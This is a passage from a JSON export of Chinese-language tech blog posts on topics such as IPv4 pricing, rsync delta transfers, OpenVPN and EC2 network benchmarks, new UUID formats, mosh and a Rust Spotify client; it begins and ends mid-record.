    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=27982968\">IPv4 pricing (hetzner.com)</a>」這篇，裡面的連結「<a href=\"https://docs.hetzner.com/general/others/ipv4-pricing/\">IPv4 pricing</a>」是 <a href=\"https://www.hetzner.com/\">Hetzner</a> 這個 hosting 通知 IPv4 將在八月漲價的資料...\r\n\r\n可以看到「/24 IP subnet (254 usable IPs)」這組的價錢從「€ 215.13 / € 0 setup」漲到「€ 435.20 / € 4864.00 setup」，看起來是趁機漲了不少 setup fee 來綁使用者。\r\n\r\nHacker News 的討論裡面有提到 e-mail 的應用上還是得用 IPv4，至少 <a href=\"https://www.microsoft.com/\">Microsoft</a> 還是不愛 IPv6：\r\n\r\n<blockquote>I remember while trying to figure out why Microsoft was blocking emails that IPv6 SMTP source addresses had a much higher risk of being blocked despite having done all the required stuff like PTR, SPF, DKIM. Microsoft's form to submit delisting an IP address does not even accept an IPv6 address: https://sender.office.com/\r\n\r\nStuff like this really hinders adoption.</blockquote>\r\n\r\nhmmm，e-mail 的確是痛點 (尤其是 reputation 問題)，但其他大多數的應用好像還好？",
    "title": "IPv4 的價錢"
  },
  {
    "id": "10263",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=28021434\">Ssheven: A modern SSH client for Mac OS 7-9 (github.com/cy384)</a>」這個，為了 Mac OS 7/8/9 (<a href=\"https://en.wikipedia.org/wiki/PowerPC\">PowerPC</a> 平台) 實做 SSH client。\r\n\r\n翻了一下程式碼，看起來是透過 <a href=\"https://www.libssh2.org/\">libssh2</a> 實做加解密的部份，依照 libssh2 的官網，支援的演算法雖然不是超級新，但看起來還算可以 (至少有目前還算安全的演算法可以用)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1uWgxXi.webp\" /><img src=\"https://i.gslin.com/imgur/1uWgxXi.png\" alt=\"\" /></picture>\r\n\r\nHacker News 上有看到一些老機器跑出來玩 XD\r\n\r\n<blockquote>tikwidd 8 hours ago\r\n\r\nSo far it's working well on my LC III (68030 with 36mb ram)!\r\nI'm writing this comment from the LC III using w3m over ssh :)</blockquote>",
    "title": "Mac OS 7/8/9 上的 SSH client"
  },
  {
    "id": "10264",
    "body": "剛好最近工作上需要透過 4G 網路傳大檔案，但希望大檔案傳到一半斷掉後可以續傳，而不要浪費頻寬整個重傳，所以查了資料並且測了一些東西...\r\n\r\n其中一個比較特別的是發現 <a href=\"https://en.wikipedia.org/wiki/Rsync\">rsync</a> 的預設是傳整個檔案 (當檔案有變化時)，而不是傳 delta (有變更的部份)，不過還好，可以透過指令強制使用 delta。\r\n\r\n在「<a href=\"https://superuser.com/questions/576035/does-rsync-inplace-write-to-the-entire-file-or-just-to-the-parts-that-need-to\">Does rsync --inplace write to the entire file, or just to the parts that need to be updated? (for btrfs+rsync backups)</a>」這邊有提到幾個需要設定的指令。\r\n\r\n首先是標題就有提到的 <code>--inplace</code>，在 manpage 裡面有提到是直接更新檔案，而非建立一個新檔案再 rename，這樣做的缺點是其他的應用程式可能會讀到改到一半的檔案：\r\n\r\n<blockquote>update destination files in-place</blockquote>\r\n\r\n另外一個提到的是 <code>--no-whole-file</code>，這個要看 <code>--whole-file</code> 的說明來理解，後者就是不開 delta：\r\n\r\n<blockquote>copy files whole (w/o delta-xfer algorithm)</blockquote>\r\n\r\n第三個是 <code>-c</code>，強制使用 checksum 比對：\r\n\r\n<blockquote>skip based on checksum, not mod-time & size</blockquote>\r\n\r\n不過我的應用裡面不太想管這個，就沒設定 <code>-c</code> 了，基本上是靠 ssh 的保護，不會有收到錯誤封包的問題。\r\n\r\n整體來說，這個方法對兩邊的機器都比較吃資源，而且會遇到應用程式在還在傳輸時讀到檔案的問題，但如果可以克服，而且目標是省頻寬的話，算是個還不錯的方法...",
    "title": "rsync 的預設值是傳整個檔案，不是 delta"
  },
  {
    "id": "10265",
    "body": "<strong>這篇的後續可以參考「<a href=\"https://blog.gslin.org/archives/2021/08/09/10267/amazon-ec2-%e7%9a%84%e7%b6%b2%e8%b7%af%e6%95%88%e8%83%bd/\">Amazon EC2 的網路效能</a>」這篇。</strong>\r\n\r\n最近在在調整跑在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上 <a href=\"https://openvpn.net/\">OpenVPN</a> server 的效能，要想辦法把 network throughput 拉高，當作在導入 <a href=\"https://www.wireguard.com/\">WireGuard</a> 之前的 workaround，但看起來還是頗有用，記錄一下可以調整的部份...\r\n\r\n在還沒灌大量流量前是用 <code>t3a.nano</code> (開 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances-unlimited-mode.html\">Unlimited mode</a>)，然後會觀察到的瓶頸是 OpenVPN 的 daemon 吃了 100% CPU loading，最高速度卡在 42MB/sec 左右。\r\n\r\n第一個想到的是看看 OpenVPN server 有沒有可以使用多 CPU 的方式，但查了資料發現 OpenVPN server 無法使用 threading 或是 fork 之類的方法善用多顆 CPU，所以就開始想其他方法...\r\n\r\n接著看到我們目前用的是 <code>AES-256-CBC</code> 了，網路上很多文章都有提到 <code>AES-128-CBC</code> 會快一些，但我們的 OpenVPN client 已經是設死都用 <code>AES-256-CBC</code> 了，這個就沒辦法了...\r\n\r\n而第一個可行的解法是把 <a href=\"https://www.amd.com/\">AMD</a>-based 的 <code>t3a.nano</code> 換成 <a href=\"https://www.arm.com/\">ARM</a>-based 的 <code>t4g.nano</code>，還是 100% 的 CPU loading，但直接多了 50%+ 的效能，到了 69MB/sec。\r\n\r\n第二個解法是找資料時發現的 <code>fast-io</code> 參數，加上去以後可以再快一些，到 77MB/sec。\r\n\r\n有了這兩個 workaround 應該就堪用了，接下來是發現在傳大量資料跑一陣子後速度會掉下來，於是開了兩台 <code>t4g.nano</code> 用 <a href=\"https://iperf.fr/\">iperf</a> 對測了一下，發現會逐步掉速：\r\n\r\n<ul>\r\n\t<li>前 15 秒可以直接到 5Gbps，就是 AWS 網頁上宣稱的最高速度，接下來降到 800Mbps 左右。</li>\r\n\t<li>到 180 秒左右後降到 300Mbps。</li>\r\n\t<li>到 210 秒左右後回到 800Mbps。</li>\r\n\t<li>到 300 秒左右後降到 500Mbps。</li>\r\n\t<li>到 300 秒左右後降到 300Mbps。</li>\r\n\t<li>到 1260 秒左右後降到 30Mbps，後面就一直維持這個速度了。</li>\r\n</ul>\r\n\r\n看起來 network bandwidth credit 是分階段的，但 30Mbps 真的有點低...\r\n\r\n在換成四倍大的 <code>t4g.small</code> 測試後發現也只能到 40MB/sec 左右 (比較疑惑的是，居然不是四倍？)，目前上了 <code>c6g.medium</code>，但看起來網路的部份也還是有瓶頸，在 46MB/sec 左右，要再想一下下一步要怎麼調整...\r\n\r\n但以目前看到的情況總結，如果能用 ARM 架構就儘量用，效率與價錢真的是好 x86-64 不少...",
    "title": "在 AWS 上面的 OpenVPN Server 效能"
  },
  {
    "id": "10267",
    "body": "前一篇「<a href=\"https://blog.gslin.org/\">在 AWS 上面的 OpenVPN Server 效能</a>」最後的問題就是 EC2 instance 本身的網路效能，畢竟是公司要用的，還是實際測一下數字，之後有人接手的時候也比較清楚是怎麼選這個大小的...\r\n\r\n這邊拿的是 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <code>ap-southeast-1</code> (Singapore) 的 EC2 測試，直接在同一個 subnet 裡面開兩台一樣的機器跑 <a href=\"https://iperf.fr/\">iperf</a> 測試。\r\n\r\n機器開機後會先跑這串指令 (除了安裝 iperf 的指令，其他的是出自我自己 wiki 上的 <a href=\"https://wiki.gslin.org/wiki/Ubuntu\">Ubuntu</a> 這頁)，然後再重開機：\r\n\r\n<pre>sudo fallocate -l 512M /swapfile; sudo chmod 600 /swapfile; sudo mkswap /swapfile; sudo swapon /swapfile; echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab; echo -e \"net.core.default_qdisc=fq\\nnet.ipv4.tcp_congestion_control=bbr\" | sudo tee /etc/sysctl.d/99-tcp.conf; sudo sysctl -p /etc/sysctl.d/99-tcp.conf; sudo apt update; sudo apt dist-upgrade -y; sudo apt install -y apache2-utils apt-transport-https build-essential curl dnsutils dstat git jq locales moreutils most mtr-tiny net-tools p7zip-full pigz prometheus-node-exporter rsync sharutils software-properties-common sysstat unrar unzip vim-nox wget zsh zsh-syntax-highlighting zstd; sudo apt install -y iperf; sudo apt clean</pre>\r\n\r\n接下來就是一台跑 <code>iperf -s</code>，另外一台跑 <code>iperf -c 10.x.x.x -i 1 -t 3600</code> 讓他跑一個小時看結果了。\r\n\r\n我都有跑 tmux 再連到這些機器上，這樣可以捲回去看每一秒的傳輸速度，就可以看出來變化了，不過這邊還是簡單的只列出最高速度 (burstable) 與穩定輸出的速度 (baseline)：\r\n\r\n<table>\r\n<tr><th>EC2 instance</th><th>Baseline</th><th>Burstable</th><th>vCPU</th><th>RAM</th><th>Pricing (USD$)</th></tr>\r\n<tr><td>c6g.medium</td><td>500Mbps</td><td>10Gbps</td><td>1</td><td>2GB</td><td>0.0392</td></tr>\r\n<tr><td>c6g.large</td><td>750Mbps</td><td>5Gbps (claimed 10Gbps)</td><td>2</td><td>4GB</td><td>0.0784</td></tr>\r\n<tr><td>c6g.xlarge</td><td>1.25Gbps</td><td>10Gbps</td><td>4</td><td>8GB</td><td>0.1568</td></tr>\r\n<tr><td>t4g.small</td><td>125Mbps</td><td>5Gbps</td><td>2</td><td>2GB</td><td>0.0212</td></tr>\r\n<tr><td>t4g.medium</td><td>255Mbps</td><td>5Gbps</td><td>2</td><td>4GB</td><td>0.0424</td></tr>\r\n<tr><td>t4g.large</td><td>510Mbps</td><td>5Gbps</td><td>2</td><td>8GB</td><td>0.0848</td></tr>\r\n<tr><td>t4g.xlarge</td><td>1Gbps</td><td>5Gbps</td><td>4</td><td>16GB</td><td>0.1696</td></tr>\r\n</table>\r\n\r\n這邊沒列出來的是 burstable 可以持續的時間，但這跟你機器吃的網路資源有關，我就決定只用 baseline 來做決策了，這樣可能會多花一點錢，但會少很多麻煩。\r\n\r\n另外這次在處理的過程有被同事提醒各種 bandwidth overhead，所以就順便查了一下資料：\r\n\r\n<ul>\r\n\t<li>OpenVPN 本身的 overhead 大約是 5% (跑 UDP 的時候)：「<a href=\"https://serverfault.com/questions/249935/openvpn-performance\">OpenVPN performance</a>」。</li>\r\n\t<li>SSH 也有些 overhead，大約是 6% (把來回的封包都算進去)：「<a href=\"https://superuser.com/questions/1108165/what-is-the-overhead-of-ssh-compared-to-telnet\">What is the overhead of SSH compared to telnet?</a>」。</li>\r\n\t<li><a href=\"https://en.wikipedia.org/wiki/Rsync\">rsync</a> 的部份鐵定也有 overhead，但這邊就沒找到現成的文章有統計過了。</li>\r\n\t<li>另外我自己之前做實驗發現 TCP BBR 的 retransmission algorithm 還蠻激進的，會有 10% packet loss，改用預設的 CUBIC 會好很多，大約 1% 到 2% 左右。</li>\r\n</ul>\r\n\r\n綜合這些測試，我自己抓了 35% 的 overhead 來推估，最後是用 <code>c6g.large</code> 來養 VPN server。750Mbps 的實際流量大約可以包進 550Mbps 的原始流量，大約是 68MB/sec。\r\n\r\n不過新加坡與印尼之間的 internet bandwidth 好像還是不太夠，有時候深夜跑也跑不滿... 不過之後 VPN 上的 client 會愈來愈多，應該是不需要降...",
    "title": "Amazon EC2 的網路效能"
  },
  {
    "id": "10268",
    "body": "<a href=\"https://www.hinet.net/\">HiNet</a> 開始提供 2G/1G 的線路了，但在企業上網的「<a href=\"https://fttb.hinet.net/fttx_pro_rates.html\">HiNet企業上網促銷網站</a>」這邊還沒看到 2G/1G 的方案，反倒是在一般家用的「<a href=\"https://www.cht.com.tw/home/campaign/broadband2G/index.html\">HiNet光世代 2G/1G HiLight極速方案 | 中華電信網路門市 CHT.com.tw</a>」這邊可以看到了，不過有些地方得注意。\r\n\r\n首先是「家用型」(NTD$3,069/month) 是有限制流量的：\r\n\r\n<blockquote>2G/1G家用型(非固定制)僅供自然人以個人證號提出申請。如連續3日每日訊務量(上下行加總)皆超過200GB，本公司得於通知後，於其後連續2日調整服務速率上限為100Mbps/40Mbps(Best Effort)，調整速率期滿後恢復申辦速率。</blockquote>\r\n\r\n如果想要將頻寬灌好灌滿的話，得裝「進階型」(NTD$5,299/month)，另外一個問題是「家用型」不支援 PPPoE 固定 IP 服務 (i.e. 非固固)：\r\n\r\n<blockquote>2G/1G進階型(非固定制)得自行上網申請非固定制之固定IP，換言之有動態IP 16個或固定IP 1個+動態IP 15個此二種型態供客戶選擇，前述非固定制之固定IP，本公司有權於下列情況發生者，重新配發新的固定IP取代原本之固定IP。</blockquote>\r\n\r\n目前的 1G/600M 是可以申請一個非固固的，這樣誘因又少了些。\r\n\r\n另外看了一下目前 1G/600M 的優惠價是 NTD$2,399/month，所以意思是，租兩條頻寬還比較多 (2G/1.2G)，還比較便宜 (NTD$4,798/month)，而且有兩個固定 IP？\r\n\r\n<a href=\"https://www.ptt.cc/\">Ptt</a> 上的「<a href=\"https://www.ptt.cc/bbs/PC_Shopping/M.1627931507.A.BEF.html\">Re: [情報] 中華電信將推2G/1G光世代上網新服務，每月最低3069元起</a>」這篇裡面也有不少討論，看起來這個方案有得吵了 XD",
    "title": "HiNet 開始提供 2G/1G 的線路"
  },
  {
    "id": "10270",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://news.ycombinator.com/item?id=28110610\">Official Elasticsearch Python library no longer works with open-source forks (github.com/elastic)</a>」，連結所指向的是 <a href=\"https://github.com/\">GitHub</a> 上的 pull request，在「<a href=\"https://github.com/elastic/elasticsearch-py/pull/1623\">Verify connection to Elasticsearch #1623</a>」這邊。\r\n\r\n講白了也就是 <a href=\"https://www.elastic.co/elasticsearch/\">Elasticsearch</a> 官方的 Python client 開始阻擋 <a href=\"https://aws.amazon.com/\">AWS</a> 主推的 <a href=\"https://github.com/opensearch-project/OpenSearch\">OpenSearch</a>。\r\n\r\n另外 AWS 這邊也出手，把本來的 client 都 fork 出來：「<a href=\"https://aws.amazon.com/blogs/opensource/keeping-clients-of-opensearch-and-elasticsearch-compatible-with-open-source/\">Keeping clients of OpenSearch and Elasticsearch compatible with open source</a>」，這場戰爭還有得打...",
    "title": "Elasticsearch 的 Python 套件開始阻擋 OpenSearch 的伺服器了"
  },
  {
    "id": "10271",
    "body": "查資料才發現原來在六月底的時候 <a href=\"https://grafana.com/\">Grafana Labs</a> 併購了 <a href=\"https://k6.io/\">k6</a> 的產品與團隊：「<a href=\"https://k6.io/blog/joining-grafana-labs/\">Our exciting next step - k6 is now part of Grafana Labs!</a>」。\r\n\r\n之前有寫過 k6 的文章：「<a href=\"https://blog.gslin.org/archives/2020/12/05/9858/load-impact-%E7%9A%84-k6-%E7%B6%B2%E7%AB%99%E5%A3%93%E6%B8%AC%E8%BB%9F%E9%AB%94/\">Load Impact 的 k6 網站壓測軟體</a>」。\r\n\r\n這樣算是順利脫手嗎？不知道併購的情況... 翻了一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 發現也沒人貼過，意外的沒什麼聲量，大概就這樣 XD",
    "title": "Grafana Labs 併購 k6"
  },
  {
    "id": "10272",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <code>ls*</code> 指令：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">ls* Commands Are Even More Useful Than You May Have Thought: <a href=\"https://t.co/G6ragdRv60\">https://t.co/G6ragdRv60</a></p>&mdash; hackerbot (@hackerb0t) <a href=\"https://twitter.com/hackerb0t/status/1425351446053150723?ref_src=twsrc%5Etfw\">August 11, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n文章是「<a href=\"https://www.cyberciti.biz/open-source/command-line-hacks/linux-ls-commands-examples/\">ls* Commands Are Even More Useful Than You May Have Thought</a>」這篇，本來以為是要裝軟體的，結果發現在講的都是已經內建裝好的指令...\r\n\r\n包括了很多跟底層硬體界面相關的指令：\r\n\r\n<ul>\r\n\t<li>lsblk (儲存裝置相關)</li>\r\n\t<li>lshw (硬體)</li>\r\n\t<li>lscpu (CPU)</li>\r\n\t<li>lspci (PCI)</li>\r\n\t<li>lsusb (USB)</li>\r\n</ul>\r\n\r\n可以用一次有個感覺就好，這個年頭遇到問題時還是會靠搜尋引擎找答案 XDDD",
    "title": "很多 ls 開頭的指令..."
  },
  {
    "id": "10273",
    "body": "以為之前有寫過亞利桑那州的法律，結果沒找到... (有可能寫一寫就刪掉了)\r\n\r\n三月初的時候亞利桑那州推動修正法案，強制夠大的 OS 必須開放其他的 App Store 以及 Payment 系統 (以當時，或是現在來看，應該只有 <a href=\"https://www.apple.com/\">Apple</a> 的 <a href=\"https://www.apple.com/ios/\">iOS</a> 與 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://www.android.com/\">Android</a> 這兩個系統)：「<a href=\"https://www.theverge.com/2021/3/3/22309284/arizona-app-store-bill-2005-apple-30-percent-cut-bypass-legislation\">Arizona advances bill forcing Apple and Google to allow Fortnite-style alternative payment options</a>」，不過這個法案在同月月底的時候就被沒收了：「<a href=\"https://www.theverge.com/2021/3/31/22357121/arizona-hb2005-app-store-bill-dead-apple-google-big-tech-lobbying\">It’s game over for Arizona’s controversial App Store bill</a>」。\r\n\r\n這次則是由美國參議院 (上議院) 跨黨派的三位參議員提出來的 <a href=\"https://www.blumenthal.senate.gov/imo/media/doc/8.11.21%20-%20Open%20App%20Markets%20Act%20-%20Bill%20Text.pdf\">Open App Markets Act</a> 也是類似的事情，只是拉到全國的層級：「<a href=\"https://www.blumenthal.senate.gov/newsroom/press/release/blumenthal-blackburn-and-klobuchar-introduce-bipartisan-antitrust-legislation-to-promote-app-store-competition\">Blumenthal, Blackburn &amp; Klobuchar Introduce Bipartisan Antitrust Legislation to Promote App Store Competition</a>」。在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有討論：「<a href=\"https://news.ycombinator.com/item?id=28144867\">Senators introduce bipartisan antitrust bill to promote app store competition (senate.gov)</a>」。\r\n\r\n第一關應該是要先讓參議院通過，在這個階段 Apple 與 Google 兩家應該就會有各種檯面上的遊說與檯面下的動作，另外像是 <a href=\"https://www.epicgames.com/\">Epic</a> 與 <a href=\"https://www.spotify.com/\">Spotify</a> 這些公司應該也會進去推一把...",
    "title": "由美國參議院提出的 Open App Markets Act"
  },
  {
    "id": "10274",
    "body": "在今天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://mosh.org/\">mosh</a> 的連結，看了一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論，發現原作者有上去跟大家討論一些目前的情況：「<a href=\"https://news.ycombinator.com/item?id=28150287\">Mosh: The Mobile Shell (mosh.org)</a>」。\r\n\r\n原作者是 <a href=\"https://cs.stanford.edu/~keithw/\">Keith Winstein</a>，在 Hacker News 上的帳號名稱是 keithwinstein，可以用 Ctrl-F 翻一下他回應的東西。\r\n\r\n關於四年沒有新版的原因，一方面是他覺得已經將後續的開發與維護交棒出去，不應該因為接手的人太忙就冒出來；另外一方面是目前的版本也沒有安全問題，沒有迫切需要丟出一個新版本：\r\n\r\n<blockquote>I think the truth is that we don't feel like we need a release. We've never had a security hole, our track record speaks for itself, and I wouldn't really want us to rush anything and blow that. There are some features that it would be really nice to have in a release (like 24-bit color support, and working around a recent MacOS clock bug), but I handed over the maintainership to somebody else about six years ago and that person is currently, I think, dealing with a bunch of stuff (look around the world the last year...). I'm not eager to step back in and bigfoot them -- especially when I'm no longer particularly familiar with the codebase (and recent commits) as I used to be.\r\n\r\nMosh works as advertised and has never had a security hole -- we're pretty proud of that! We'll probably cut a release at some point to add those features (24-bit colors, the MacOS clock workaround) but I'm not feeling like it's urgent enough to upset what I had hoped was a transition plan.\r\n\r\nIt would feel arrogant to compare Mosh to TeX, but it doesn't seem that crazy to imagine that some software might reach a point where it has accomplished 95% of its goals, and the benefit from adding further features has to be weighed against the risk of introducing a security hole or other regression through further churn. If the TCP specification, or OpenSSH, or TeX, or GNU bash had canonical GitHub repositories, they would probably be full of a bunch of user support issues and inactive PRs too. :-)</blockquote>\r\n\r\n看了一下 <a href=\"https://github.com/\">GitHub</a> 上 <a href=\"https://github.com/mobile-shell/mosh/graphs/contributors\">Contributors</a> 這頁，可能是 <a href=\"https://github.com/cgull\">cgull</a>？\r\n\r\n的確是一個很穩定的軟體，在桌機與筆電上面都用了八九年了，解決了網路切換 (或是不穩定) 的問題：「<a href=\"https://blog.gslin.org/archives/2012/10/10/3004/%E6%8A%8A-ssh-%E6%8F%9B%E6%88%90-mosh/\">把 SSH 換成 Mosh</a>」。",
    "title": "很久沒出新版的 mosh..."
  },
  {
    "id": "10275",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=28154187\">ZeroVer: 0-Based Versioning (0ver.org)</a>」這個討論，原網站在「<a href=\"https://0ver.org/\">ZeroVer: 0-based Versioning</a>」這邊。\r\n\r\n這應該是從 <a href=\"https://semver.org/\">Semantic Versioning</a> 出現 (看起來是 2009 年？) 而且被廣泛應用後的現象，就是大家都不想負責 XDDD\r\n\r\n在 Semantic Versioning 裡面有提到 0.x 版的特殊性，也就是什麼都不保證：\r\n\r\n<blockquote>Major version zero (0.y.z) is for initial development. Anything MAY change at any time. The public API SHOULD NOT be considered stable.</blockquote>\r\n\r\n因為 Semantic Versioning 被廣泛應用後，這個特性也深受開發者喜愛 (即使軟體變得很成熟)，於是 ZeroVer 這個站台就整理了一堆仍在使用 0.x 的軟體...\r\n\r\n其實我覺得這樣很好，像是 <a href=\"https://www.hashicorp.com/\">HashiCorp</a> 如果決定把軟體推出 1.0 版 (最近應該是 <a href=\"https://www.terraform.io/\">Terraform</a> 的 1.0)，表示他們對這個產品有一定的信心了，不然都還在摸索開發階段...\r\n\r\n0.x 算是讓開發者可以很有信心的跟大家講「我沒信心」的方式 XD",
    "title": "0.x 版的 ZeroVer"
  },
  {
    "id": "10276",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的東西，今年四月的時候有人針對資料庫提案新的 <a href=\"https://en.wikipedia.org/wiki/Universally_unique_identifier\">UUID</a> 格式：「<a href=\"https://news.ycombinator.com/item?id=28088213\">New UUID Formats – IETF Draft (ietf.org)</a>」。\r\n\r\n在 draft 開頭有說明這個提案的目標：\r\n\r\n<blockquote>This document presents new time-based UUID formats which are suited for use as a database key.\r\n\r\nA common case for modern applications is to create a unique identifier for use as a primary key in a database table.  This identifier usually implements an embedded timestamp that is sortable using the monotonic creation time in the most significant bits.  In addition the identifier is highly collision resistant, difficult to guess, and provides minimal security attack surfaces.  None of the existing UUID versions, including UUIDv1, fulfill each of these requirements in the most efficient possible way.  This document is a proposal to update [RFC4122] with three new UUID versions that address these concerns, each with different trade-offs.</blockquote>\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有人整理出來，可以直接理解提案所提出的新格式是什麼：\r\n\r\n<blockquote>A somewhat oversimplified summary of the new UUID formats:\r\n\r\nUUID6: a timestamp with a weird epoch and 100 ns precision like in UUID1, but in a big-endian order that sorts naturally by time, plus some random bits instead of a predictable MAC address.\r\n\r\nUUID7: like UUID6, but uses normal Unix timestamps and allows more timestamp precision.\r\n\r\nUUID8: like UUID7, but relaxes requirements on where the timestamp is coming from. Want to use a custom epoch or NTP timestamps or something? UUID8 allows it for the sake of flexibility and future-proofing, but the downside is that there's no standard way to parse the time from one of these -- the time source could be anything monotonic.</blockquote>\r\n\r\n這在不同的 storage engine 上面會有不同的討論，這邊先討論 <a href=\"https://dev.mysql.com/\">MySQL</a> 系列的 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a>，至於 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 engine 以及其他資料庫系統，就另外讓更熟悉的人討論了。\r\n\r\nInnoDB 採用了 clustered index (可以參考「<a href=\"https://en.wikipedia.org/wiki/Database_index\">Database index</a>」這邊的說明)，也就是資料本體是以某種定義的大小順序存放。\r\n\r\n在 InnoDB 裡面則是用 primary key 的順序來存放資料 (沒有指定 primary key 時會有 fallback 行為)，其他的 unique key 與 index key 則是指到 primary key，所以你可以看到 primary key 的大小也會影響到其他的 index key。\r\n\r\n所以 128 bits 的 UUID 在大型的 MySQL ecosystem 實在不怎麼受歡迎，在 2010 年的時候 <a href=\"https://www.flickr.com/\">Flickr</a> 與 <a href=\"https://twitter.com/\">Twitter</a> 都有發表過 ticket system：「<a href=\"https://code.flickr.net/2010/02/08/ticket-servers-distributed-unique-primary-keys-on-the-cheap/\">Ticket Servers: Distributed Unique Primary Keys on the Cheap</a>」、「<a href=\"https://blog.twitter.com/engineering/en_us/a/2010/announcing-snowflake\">Announcing Snowflake</a>」，兩個系統有不同的需求，但都是產生 64 bits 的 unique id。\r\n\r\n其中 Flickr 的系統算是很簡單的，沒有要保證時間順序 (i.e. 先取的號碼一定比較小，以及後取的號碼一定比較大)，就用兩台 MySQL 跑 active-active 架構，然後錯開產生的值：\r\n\r\n<pre>TicketServer1:\r\nauto-increment-increment = 2\r\nauto-increment-offset = 1\r\n\r\nTicketServer2:\r\nauto-increment-increment = 2\r\nauto-increment-offset = 2</pre>\r\n\r\n到現在還是一個蠻簡單的解法...",
    "title": "為資料庫提案新的 UUID 格式"
  },
  {
    "id": "10277",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://aws.amazon.com/\">AWS</a> 昨天公告了 84 個 <code>/16</code> (<a href=\"https://en.wikipedia.org/wiki/IPv4\">IPv4</a>)：「<a href=\"https://news.ycombinator.com/item?id=28177807\">AWS adds an extra 5.5M IPv4 addresses (github.com/seligman)</a>」。\r\n\r\n這使得 AWS 在整個可用的 IPv4 network 佔的空間從 1.61045% 上升到了 1.75915%，不確定這 84 個 <code>/16</code> 花了多少錢買...\r\n\r\n另外看到國外 ISP 的一些作法，發 <a href=\"https://en.wikipedia.org/wiki/Carrier-grade_NAT\">CGNAT</a> 的 IPv4 位置，以及實際的 IPv6 位置，這樣對於有支援 IPv6 的應用就可以反連回去：\r\n\r\n<blockquote>When I lived in Ireland I only got a public IPv6, my IPv4 was behind CG-NAT. The nerd in me wasn't a fan of that on paper, but in reality I didn't have any issues with it.</blockquote>\r\n\r\n家裡的第四台還是 IPv4 only 啊 (至少不是 CGNAT，之前被換到 CGNAT 時有去幹繳過)，要連 IPv6 資源目前還是只能透過 <a href=\"https://en.wikipedia.org/wiki/6to4\">6to4</a> 去摸，看起來是連到香港的 <a href=\"https://www.he.net/\">HE</a>，速度普普通通...",
    "title": "AWS 昨天公告了 84 個 /16 的 IPv4 位置"
  },
  {
    "id": "10280",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 給了公告，在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上面推出了 <code>m6i</code> 的 <a href=\"https://www.intel.com/\">Intel</a>-based 新機種：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-m6i-instances-powered-by-the-latest-generation-intel-xeon-scalable-processors/\">New – Amazon EC2 M6i Instances Powered by the Latest-Generation Intel Xeon Scalable Processors</a>」。\r\n\r\n這好像是第一次看到 Intel-based 機種加上了 <code>i</code> 的 suffix...\r\n\r\n這次比較大的兩個差異，與 <code>m5</code> 相比，多出了 <code>m6i.32xlarge</code>：\r\n\r\n<blockquote>A larger instance size (<strong>m6i.32xlarge</strong>) with 128 vCPUs and 512 GiB of memory that makes it easier and more cost-efficient to consolidate workloads and scale up applications.</blockquote>\r\n\r\n另外看了一下 <code>us-east-1</code> 上的單價，看起來與 <code>m5</code> 系列的機器價錢一樣，但是效能提昇了 15% (然後很假掰的寫了 price/performance？)：\r\n\r\n<blockquote>Up to 15% improvement in compute price/performance.</blockquote>\r\n\r\n單以數字看起來的話還是 <code>m6g</code> 系列會比較香？當然如果只有 x86-64 binary 的話看起來還是可以考慮換到 <code>m6i</code> 上跑...",
    "title": "Amazon EC2 推出 m6i 的機器"
  },
  {
    "id": "10281",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的東西，而且也是當天熱度超高的話題，Open Source 且非 <a href=\"https://en.wikipedia.org/wiki/Electron_(software_framework)\">Electron</a> 版本的 <a href=\"https://www.spotify.com/\">Spotify</a> 播放器 <a href=\"https://github.com/jpochyla/psst\">Psst</a>：「<a href=\"https://news.ycombinator.com/item?id=28203654\">Psst: Fast Spotify client with native GUI, without Electron, built in Rust (github.com/jpochyla)</a>」。\r\n\r\n因為使用 <a href=\"https://www.rust-lang.org/\">Rust</a> 與 native GUI library，加上沒有一堆 Spotify 內建的廣告系統，整個速度快到爆炸 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nSH4dmm.webp\" /><img src=\"https://i.gslin.com/imgur/nSH4dmm.png\" alt=\"\" /></picture>\r\n\r\n專案的擁有者 <a href=\"https://github.com/jpochyla\">jpochyla</a> 在「<a href=\"https://github.com/jpochyla/psst/issues/89\">make provided binaries more prominent #89</a>」這邊有提到有 nightly build 可以用：「<a href=\"https://nightly.link/jpochyla/psst/workflows/build/master\">nightly.link | Repository jpochyla/psst | Workflow build.yml | Branch master</a>」，不過我抓下來發現不會動，所以就自己花了些時間編看看...\r\n\r\n剛被推上 Hacker News 的時候 <a href=\"https://github.com/jpochyla/psst/blob/master/README.md\">README.md</a> 